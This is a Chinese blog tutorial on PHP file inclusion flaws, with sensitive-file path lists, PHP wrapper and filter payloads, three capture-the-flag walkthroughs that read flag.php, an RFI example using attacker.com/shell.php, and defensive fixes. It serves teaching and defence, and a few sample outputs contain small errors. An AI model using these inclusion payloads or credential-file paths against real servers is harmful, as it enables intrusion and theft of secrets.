文件包含

文件包含

  • 什么是文件包含

    • 文件包含是一种在编程中常用的技术,尤其在 Web 开发领域较为常见,它允许一个程序将另一个文件的内容整合到自身代码里
  • 用途

    • 代码复用:能够把常用的代码封装在单独的文件里,在多个程序中重复使用,提高开发效率
    • 模块化开发:将程序拆分成多个模块,每个模块负责特定的功能,方便代码的管理和维护
  • 漏洞产生原因

    • 动态文件包含机制
      • 应用程序使用动态包含功能(如 PHP 的include()require(),Java 的RequestDispatcher等)时,若未对用户输入的文件名进行有效过滤,攻击者可通过构造恶意路径包含任意文件
    • 路径遍历攻击
      • 攻击者通过输入类似../../etc/passwd的路径,绕过应用程序的目录限制,访问系统敏感文件
    • 远程文件包含(RFI)
      • 若服务器配置允许(如 PHP 的allow_url_includeOn),攻击者可指定远程 URL 包含恶意代码(如http://attacker.com/shell.php
    • 逻辑缺陷
      • 应用程序未正确验证文件类型或路径,导致恶意文件被执行(如将.php文件伪装成.jpg
  • 可能利用漏洞

    • 本地文件包含(LFI):攻击者可以通过构造恶意的文件路径,让应用程序包含本地的敏感文件,像配置文件、数据库文件等,从而获取敏感信息。
    • 远程文件包含(RFI):攻击者可以诱导应用程序包含远程服务器上的恶意文件,进而执行恶意代码,控制服务器。
  • 常见函数

    • require():找不到被包含的文件会产生致命错误,并停止脚本运行
    • include():找不到被包含的文件只会产生警告,脚本继续执行
    • require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
    • include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
  • 敏感文件默认路径

    • Windows

      • C:\boot.ini      //查看系统版本
        C:\windows\system32\inetsrv\MetaBase.xml     //IIS配置文件
        C:\windows\repair\sam         //存储Windows系统初次安装的密码
        C:\ProgramFiles\mysql\my.ini        //Mysql配置
        C:\ProgramFiles\mysql\data\mysql\user.MYD      //MySQL root密码
        C:\windows\php.ini              //php配置信息
        C:\Windows\system.ini // 系统初始化配置文件,记录了一些早期 Windows 系统的配置信息
        C:\Windows\win.ini //Windows 系统早期的初始化配置文件,涉及系统运行、桌面设置等相关配置
        C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup // 系统开机启动项文件夹,可查看哪些程序随系统自动启动
        C:\Users\All Users\Application Data // 所有用户共享的应用程序数据文件夹,可能包含一些全局配置信息
        C:\inetpub\logs\LogFiles //IIS 服务器日志文件存放目录,可用于分析网站访问情况
        
    • Linux

      • /etc/passwd               //账户信息
        /etc/shadow                 //账户密码信息
        /usr/local/app/apache2/conf/httpd.conf              //Apache2默认配置文件
        /usr/local/app/apache2/conf/extra/httpd-vhost.conf          //虚拟网站配置
        /usr/local/app/php5/lib/php.ini             //PHP相关配置
        /etc/httpd/conf/httpd.conf              //Apache配置文件
        /etc/my.conf                    //mysql配置文件
        /var/log/nginx/access.log             ////日志文件
        /etc/group // 用户组信息文件,记录系统中所有用户组的相关信息
        /etc/profile // 系统全局环境变量和启动脚本配置文件,用户登录时会执行其中配置
        /root/.bashrc //root 用户的 bash shell 配置文件,定义 root 用户 bash 环境的个性化设置
        /var/log/secure // 记录系统安全相关事件,如用户登录尝试(成功或失败)等信息
        /usr/local/nginx/conf/nginx.conf //Nginx 服务器默认配置文件 ,用于配置 Nginx 服务相关参数
        
  • PHP伪协议(此处只列举几个常用的)

    • php://filter

      • 用途:用于对数据流进行过滤和转换,如 Base64 编码、HTML 实体编码等,当它与包含函数一起使用时,读取的文件由于是源码形式,会被当做php文件进行执行,故通常对其进行编码,防止被执行
      • 协议的基本格式
        • php://filter/过滤器名称/resource=要读取的文件路径
          
      • 实例
        • <?php
          $file = 'example.txt';
          $base64_encoded = file_get_contents('php://filter/convert.base64-encode/resource=' . $file);
          echo $base64_encoded;
          ?>
          
        • 输出:会将"example.txt"文件的内容进行base64编码后输出
    • php://input

      • 用途:用于读取原始的 HTTP 请求体的内容。它主要用于处理 POST 请求中发送的数据,可以接受POST请求作为输入流的输入,将请求作为输入传递给目标变量,特别是当数据是以 JSON 或 XML 格式发送,或者是其他非表单数据格式时
      • 协议的基本格式
        • file=php://input
          
      • 实例
        • //当使用此协议时,需要通过POST方法进行传参
          

          屏幕截图 2025-04-24 182923

    • data://

      • 用途:用于直接在 URL 中嵌入数据,通常用于传递小型的文本或二进制数据
      • 协议的基本格式
        • file=data://[<mime-type>][;base64],<data>
          
        • <mime-type>:这是可选参数,用于指定数据的 MIME 类型,例如 text/plain 表示纯文本,application/json 表示 JSON 数据等。若未指定,默认的 MIME 类型是 text/plain

        • ;base64:同样是可选参数,若指定了这个参数,后面的 <data> 部分必须是经过 Base64 编码的数据。

        • <data>:这是实际要嵌入的数据内容。如果没有指定 ;base64,则 <data> 为普通的文本数据;若指定了 ;base64,则 <data> 需是 Base64 编码后的字符串

      • 实例
        • <?php
          // 读取 Base64 编码的文本数据
          $content = file_get_contents('data://text/plain;base64,' . base64_encode('Hello, World!'));
          echo $content;
          ?>
          
        • 输出:会输出原文
    • zip://

      • 用途:用于访问 ZIP 压缩文件中的文件,这在需要直接读取或操作 ZIP 压缩包内文件时非常有用
      • 协议的基本格式
        • zip://<zip_file_path>#<file_path_in_zip>
          
        • <zip_file_path>:ZIP 压缩文件在服务器文件系统中的完整路径。可以是相对路径(相对于当前工作目录)或绝对路径。

        • #:分隔符,用于分隔 ZIP 压缩文件路径和压缩包内文件的路径。

        • <file_path_in_zip>:ZIP 压缩包内要访问的文件的路径。该路径是相对于 ZIP 压缩包根目录的

      • 实例
        • <?php
          // ZIP 压缩文件的路径
          $zipFilePath = 'path/to/your/archive.zip';
          // 压缩包内要访问的文件路径
          $fileInZip = 'example.txt';
          
          // 构造 zip:// 伪协议的 URL
          $url = 'zip://' . $zipFilePath . '#' . $fileInZip;
          
          // 读取文件内容
          $fileContent = file_get_contents($url);
          
          if ($fileContent === false) {
              echo "读取文件失败,可能是文件不存在或权限不足。";
          } else {
              echo $fileContent;
          }
          ?>
          
        • 输出:会将在"zipFilePath"压缩包下名为"fileInZip"的文件内容输出
    • file://

      • 用途:用于访问本地文件系统中的文件,它可以让你像访问远程资源一样访问本地文件
      • 协议基本格式
        • file://<文件路径>
          
        • <文件路径> 可以是相对路径或者绝对路径。在不同操作系统中,路径的表示方式有所不同:

          • Windows 系统:路径使用反斜杠 \ 作为分隔符,但在 PHP 字符串里需要用双反斜杠 \\ 或者单斜杠 / 来转义。例如,file://C:/Users/username/Documents/example.txt 或者 file://C:\\Users\\username\\Documents\\example.txt
          • Linux 系统:路径使用正斜杠 / 作为分隔符,例如 file:///home/username/Documents/example.txt
      • 实例(读取文件,配合file_get_contents函数使用)
        • <?php
          // Windows 系统示例
          $windowsFilePath = 'file://C:/Users/username/Documents/example.txt';
          $windowsContent = file_get_contents($windowsFilePath);
          if ($windowsContent === false) {
              echo "读取 Windows 文件失败。";
          } else {
              echo $windowsContent;
          }
          
          // Linux 系统示例
          $linuxFilePath = 'file:///home/username/Documents/example.txt';
          $linuxContent = file_get_contents($linuxFilePath);
          if ($linuxContent === false) {
              echo "读取 Linux 文件失败。";
          } else {
              echo $linuxContent;
          }
          ?>
          
        • 写入文件,配合file_put_contents函数使用
          • <?php
            // Windows 系统示例
            $windowsFilePath = 'file://C:/Users/username/Documents/output.txt';
            $data = "这是要写入文件的内容。";
            $bytesWritten = file_put_contents($windowsFilePath, $data);
            if ($bytesWritten === false) {
                echo "写入 Windows 文件失败。";
            } else {
                echo "成功写入 $bytesWritten 字节到 Windows 文件。";
            }
            
            // Linux 系统示例
            $linuxFilePath = 'file:///home/username/Documents/output.txt';
            $bytesWritten = file_put_contents($linuxFilePath, $data);
            if ($bytesWritten === false) {
                echo "写入 Linux 文件失败。";
            } else {
                echo "成功写入 $bytesWritten 字节到 Linux 文件。";
            }
            ?>
            
    • http:// 与 https://(远程文件包含)

      • 用途:主要用于访问远程的 HTTP 或 HTTPS 资源,像网页、API 接口
      • 基本命令格式
        • file = http://example.com/attack.php
          
      • 实例
        • <?php
          // 使用 http:// 协议读取远程网页内容
          $httpUrl = 'http://example.com';
          $httpContent = file_get_contents($httpUrl);
          if ($httpContent === false) {
              echo "读取 http 资源失败。";
          } else {
              echo $httpContent;
          }
          
          // 使用 https:// 协议读取远程网页内容
          $httpsUrl = 'https://example.com';
          $httpsContent = file_get_contents($httpsUrl);
          if ($httpsContent === false) {
              echo "读取 https 资源失败。";
          } else {
              echo $httpsContent;
          }
          ?>
          
  • 常见的过滤器(承接上处的php://filter)

    • 字符串过滤器

      • 名称:string.rot13

        • 命令基本格式
          • php://filter/read=string.rot13/resource=目标文件名
            
        • 原理
          • 将字母表中的每个字母替换为其在字母表中 13 个位置之后的字母 ,对字符串进行编码或解码
        • 实例
          • <?php
            // 读取test.txt文件内容并应用string.rot13过滤器
            $content = file_get_contents("php://filter/read=string.rot13/resource=test.txt"); 
            echo $content; 
            ?>
            
          • 输出:假设 test.txt 内容为Hello, World!,经过string.rot13过滤器处理后,输出Uryyb, Jbeyq!
      • 名称:string.toupper

        • 命令基本格式
          • php://filter/read=string.toupper/resource=目标文件名
            
        • 原理
          • 将字母表中的每个字母替换为大写字母 ,对字符串进行编码或解码
        • 实例
          • <?php
            // 读取test.txt文件内容并应用string.toupper过滤器
            $content = file_get_contents("php://filter/read=string.toupper/resource=test.txt"); 
            echo $content; 
            ?>
            
          • 输出:假设 test.txt 内容为Hello, World!,经过string.toupper过滤器处理后,输出HEELO,WORLD!
        • 名称:string.tolower

          • 功能与string.toupper差不多,只是只是将内容全部转换为小写,在此不多赘述
        • 名称:string.strip_tags(绕过死亡exit)

          • 命令基本格式
            • strip_tags ( string $str [, string|array $allowable_tags = null ] ) : string
              
            • $str:此为必需参数,代表要处理的字符串。

            • $allowable_tags:这是可选参数,它可以是字符串或者数组类型。该参数用于指定允许保留的标签,除此之外的标签都会被移除

          • 原理
            • 从字符串里移除 HTML 和 PHP 标签的内置函数
          • 实例
            • <?php
              $fp = fopen('php://output', 'w');
              //允许存在标签<b><i><u>
              stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE, "<b><i><u>");
              fwrite($fp, "<b>bolded text</b> enlarged to a <h1>level 1 heading</h1>\n");
              fclose($fp);
              /* 输出: bolded text enlarged to a level 1 heading   */
              //效果与上述一样
              $fp = fopen('php://output', 'w');
              stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE, array('b','i','u'));
              fwrite($fp, "<b>bolded text</b> enlarged to a <h1>level 1 heading</h1>\n");
              fclose($fp);
              /* 输出: bolded text enlarged to a level 1 heading   */
              ?>
              
            • 输出:
              <b>bolded text</b> enlarged to a level 1 heading
              <b>bolded text</b> enlarged to a level 1 heading
              
    • 转换过滤器

      • 名称:convert.base64-encode (decode)

        • 基本命令格式
          • php://filter/read=convert.base64-encode(convert.base64-decode)/resource=
            
        • 原理
          • 将想要读取的源文件进行base64编码或者解码读取,防止源文件被当做php文件执行
        • 实例
          • <?php
            //进行base64编码,输出编码
            $fp = fopen('php://output', 'w');
            stream_filter_append($fp, 'convert.base64-encode');
            fwrite($fp, "This is a test.\n");
            fclose($fp);
            
            //将输入内容进行base64编码,每八个字符为一组输出
            $param = array('line-length' => 8, 'line-break-chars' => "\r\n");
            $fp = fopen('php://output', 'w');
            stream_filter_append($fp, 'convert.base64-encode', STREAM_FILTER_WRITE, $param);
            fwrite($fp, "This is a test.\n");
            fclose($fp);
            
            //将输入内容进行base64解码,然后输出
            $fp = fopen('php://output', 'w');
            stream_filter_append($fp, 'convert.base64-decode');
            fwrite($fp, "VGhpcyBpcyBhIHRlc3QuCg==");
            fclose($fp);
            ?>
            
          • 输出:

            //第一个输出
            VGhpcyBpcyBhIHRlc3QuCg==
            //第二个输出
            VGhpcyBp
            cyBhIHRl
            c3QuCg==
            //第三个输出
            This is a test.
            
      • 名称:convert.quoted-printable-encode (decode)

        • 基本命令格式
          • php://filter/read=convert.quoted-printable-encode(decode)/resource=
            
        • 原理
          • 将数据编码为引用可打印(Quoted-Printable)格式
          • 引用可打印编码是一种文本编码方式,主要用于在只能处理 ASCII 字符的环境中安全传输包含非 ASCII 字符或特殊字符的数据。它的编码规则如下:
            • 对于 ASCII 码范围在 33 到 126 之间(除了等号 =)的可打印字符,保持不变。
            • 对于换行符(LF 或 CR+LF),保持不变。
            • 对于其他所有字符,包括非 ASCII 字符、控制字符和等号 =,将其转换为 = 后面跟两个十六进制数字来表示该字符的 ASCII 码值
        • 实例
          • <?php
            // 原始数据,包含非 ASCII 字符
            $originalData = "Hello, 世界!";
            
            // 使用过滤器进行引用可打印编码
            $encodedStream = fopen('php://filter/read=convert.quoted-printable-encode/resource=php://memory', 'r+');
            fwrite($encodedStream, $originalData);
            rewind($encodedStream);
            $encodedData = stream_get_contents($encodedStream);
            
            // 输出结果
            echo "原始数据: " . $originalData . "\n";
            echo "编码数据: " . $encodedData . "\n";
            
            // 关闭流
            fclose($encodedStream);
            ?>
            
          • 输出
            原始数据: Hello, 世界!
            编码数据: Hello, =E4=B8=96=E7=95=8C!
            
      • 名称:convert.iconv.*

        • 基本命令格式
          • php://filter/read=convert.iconv.<input-encoding>.<output-encoding>/resource=
            
        • 原理
          • 把输入数据从一种字符编码转换为另一种字符编码,以此保证数据在不同编码环境下可正确显示和处理,它借助 PHP 的 iconv 函数库来实现字符编码转换,iconv 函数库可识别多种字符编码,并能在它们之间进行转换
        • 实例
          • <?php
            $fp = fopen('php://output', 'w');
            stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8');
            fwrite($fp, "T\0h\0i\0s\0 \0i\0s\0 \0a\0 \0t\0e\0s\0t\0.\0\n\0");
            fclose($fp);
            ?>
            
          • 输出
            This is a test.
            
        • php支持的编码
          • UCS-4*
            UCS-4BE
            UCS-4LE*
            UCS-2
            UCS-2BE
            UCS-2LE
            UTF-32*
            UTF-32BE*
            UTF-32LE*
            UTF-16*
            UTF-16BE*
            UTF-16LE*
            UTF-7
            UTF7-IMAP
            UTF-8*
            ASCII*
            EUC-JP*
            SJIS*
            eucJP-win*
            SJIS-win*
            ISO-2022-JP
            ISO-2022-JP-MS
            CP932
            CP51932
            SJIS-mac(别名:MacJapanese)
            SJIS-Mobile#DOCOMO(别名:SJIS-DOCOMO)
            SJIS-Mobile#KDDI(别名:SJIS-KDDI)
            SJIS-Mobile#SOFTBANK(别名:SJIS-SOFTBANK)
            UTF-8-Mobile#DOCOMO(别名:UTF-8-DOCOMO)
            UTF-8-Mobile#KDDI-A
            UTF-8-Mobile#KDDI-B(别名:UTF-8-KDDI)
            UTF-8-Mobile#SOFTBANK(别名:UTF-8-SOFTBANK)
            ISO-2022-JP-MOBILE#KDDI(别名:ISO-2022-JP-KDDI)
            JIS
            JIS-ms
            CP50220
            CP50220raw
            CP50221
            CP50222
            ISO-8859-1*
            ISO-8859-2*
            ISO-8859-3*
            ISO-8859-4*
            ISO-8859-5*
            ISO-8859-6*
            ISO-8859-7*
            ISO-8859-8*
            ISO-8859-9*
            ISO-8859-10*
            ISO-8859-13*
            ISO-8859-14*
            ISO-8859-15*
            ISO-8859-16*
            byte2be
            byte2le
            byte4be
            byte4le
            BASE64
            HTML-ENTITIES(别名:HTML)
            7bit
            8bit
            EUC-CN*
            CP936
            GB18030
            HZ
            EUC-TW*
            CP950
            BIG-5*
            EUC-KR*
            UHC(别名:CP949)
            ISO-2022-KR
            Windows-1251(别名:CP1251)
            Windows-1252(别名:CP1252)
            CP866(别名:IBM866)
            KOI8-R*
            KOI8-U*
            ArmSCII-8(别名:ArmSCII8)
            
    • 压缩过滤器和转换过滤器(需要的自行查看,不做赘述)

  • 实战

    • file_include(江苏工匠杯)

      • 进入,发现直接给出了源码,其中包含了一个名为check.php的文件屏幕截图 2025-04-24 113107
      • 进入hack Bar,看看是否可以直接访问此页面,发现为空白页面屏幕截图 2025-04-24 113520
      • 还记得我们上述提到的关于php读取文件的伪协议php://filter吗,payload后尝试看一下,由于存在过滤,所以payload当然越简单越好,所以我们就不带上参数(如read,write等)进行payload
        payload
        filename=php://filter/convert.base64-encode/resource=check.php
        

        屏幕截图 2025-04-24 142455

      • 发现新大陆,页面出现了"do not hack",那这大概率就是check.php这个页面会对提交的命令进行检查,如果发现不合法字符,就返回页面出现的这个命令。那么大概率是对base64进行了过滤,还记得我们上面提到的过滤器吗,先尝试一下字符过滤器屏幕截图 2025-04-24 142605
      • 发现还是被过滤了,接下来尝试字符过滤器的其他类,发现都被过滤了,好吧,没关系,继续往下试,由于转换过滤器中的base64一开始就试过了,那么尝试一下其他类的,payload如下
        filename=php://filter/convert.quoted-printable-encode/resource=check.php
        

        屏幕截图 2025-04-24 142704

      • 继续往下尝试,尝试 iconv 这类方法,payload如下
        filename=php://filter/convert.iconv.utf8.utf16/resource=check.php
        

        屏幕截图 2025-04-24 142917

      • 终于,也是好起来了,我们从回显中可以看到对"read""base"等关键字都进行了过滤,所以当网页对很多关键字进行过滤时,命令越简短越好屏幕截图 2025-04-24 142917
      • 最后访问flag.php页面,获得最终的flag
        payload
        filename=php://filter/convert.iconv.utf8.utf16/resource=flag.php
        

        屏幕截图 2025-04-24 165032

    • fileinclude(CTF)

      • 进入题目,发现还是以源码形式展现,这个题很简单,要求通过GET传参两个参数,其中file2需要对其进行内容检查,file1并没有要求,那我们只需要让 file2 满足要求,让 file1 来读取flag.php的内容即可屏幕截图 2025-04-24 184327
      • 那么问题来了,如何让file2的内容为“hello ctf”,还记得上面讲的php伪协议吗,在这里可以运用此协议将数据写入file2中
      • 方法一 data://

        • payload如下
          //payload1
          ?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain,hello ctf
          //payload2
          ?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain;base64,aGVsbG8gY3Rm
          
        • 提交获得答案,进行base64解码即可屏幕截图 2025-04-24 185310
      • 方法二 php://input

        • payload如下
          ?file2=php://input&file1=php://filter/convert.base64-encode/resource=flag.php
          
        • 输入此URL,打开BP进行抓包,然后写入POST参数屏幕截图 2025-04-24 190141
        • 发送至重发模块,发送,获得flag屏幕截图 2025-04-24 190241
        • 使用BP自带的解码工具进行解码,选中编码内容,右侧获得flag屏幕截图 2025-04-24 190417
    • fileinclude(宜兴网信办)

      • 进入例题,发现直接告诉我们flag位置,还问我们要选择的语言屏幕截图 2025-04-24 192945
      • 发现没有其他有用的信息,查看页面源码,代码审计,页面会对每一次的请求获取它的cookies,键为language,如果没有这个键的cookies,那么就自动设置为english,并且返回其php界面,如果有这个键的cookies,就将其加上".php"变为PHP后包含屏幕截图 2025-04-24 193125
      • 那么现在思路清晰了,首先需要将cookies对应的language键对应的value设置为存在值,否则就会显示english.php这个界面,都知道出题人没有这么好心,所以我们肯定要跳出这个检查条件,然后language的值应该为什么呢,如果是english,最后会包含输出english.php这个界面,如果是chinese,最后就会包含输出chinese.php这个界面,开头给了提示,说flag在flag.php这个界面,如果language的值为flag,最后是不是就会输出flag.php,最后用上咱上面讲到的伪协议进行读取
      • payload如下
        language=php://filter/convert.base64-encode/resource=flag
        
      • 使用BP抓包,发送至重发模块屏幕截图 2025-04-24 195036
      • 发现请求包中并没有cookies,在这里我们点击右边的"Request cookies"添加cookies信息屏幕截图 2025-04-24 195304
      • 添加之后,进行发送,获得编码的flag,解码后获得flag明文屏幕截图 2025-04-24 195623
  • 预防措施

    • 白名单验证,如仅允许包含预定义的安全文件路径(如/var/www/include/下的文件)

      $allowed_files = ['header.php', 'footer.php'];
      if (in_array($_GET['file'], $allowed_files)) {
          include $_GET['file'];
      }
      
    • 禁止路径遍历符号,如过滤..//等字符,或使用realpath()规范化路径

      $file = realpath($_GET['file']);
      if (strpos($file, '/var/www/allowed/') !== 0) {
          die("Access denied");
      }
      
    • 限制文件访问范围,如使用open_basedir(PHP)或类似配置限制文件访问目录或避免使用相对路径,强制使用绝对路径

      ; php.ini配置
      open_basedir = "/var/www/allowed/:/tmp"
      
    • 禁用危险配置

      • 关闭远程文件包含功能(如 PHP 的allow_url_include = Off
      • 限制文件上传目录的执行权限(如设置为755并禁止 PHP 解析)
    • 输入转义与过滤,使用basename()函数获取文件名,剥离路径信息

      $file = basename($_GET['file']);
      include "/var/www/allowed/" . $file;
      

      对特殊字符(如?, %, #)进行 URL 解码和转义

    • 最小化文件权限

      • 确保 Web 服务器账户(如www-data)仅拥有必要的文件读取权限。
      • 敏感文件(如配置文件)存放在 Web 根目录外
    • 日志监控与应急响应

      • 记录异常文件包含请求,及时发现攻击行为。
      • 定期更新框架和依赖库,修复已知漏洞(如旧版 CMS 的文件包含漏洞)
  • 实例代码

    // 安全的文件包含实现
    $allowed_dir = '/var/www/allowed/';
    $file = $_GET['file'];
    
    // 1. 检查文件路径是否合法
    if (!is_string($file) || empty($file)) {
        die("Invalid file");
    }
    
    // 2. 规范化路径并验证是否在允许目录内
    $real_path = realpath($allowed_dir . $file);
    if ($real_path === false || strpos($real_path, $allowed_dir) !== 0) {
        die("Access denied");
    }
    
    // 3. 检查文件类型(可选)
    if (!preg_match('/\.(php|html)$/', $real_path)) {
        die("Invalid file type");
    }
    
    // 4. 包含文件
    include $real_path;
    

如果文章中存在错误,还请家人们不吝指出,轻点骂,码字不易,敬请谅解

posted @ 2025-04-24 20:13  水枪装尿,滋谁谁叫  阅读(36)  评论(0)    收藏  举报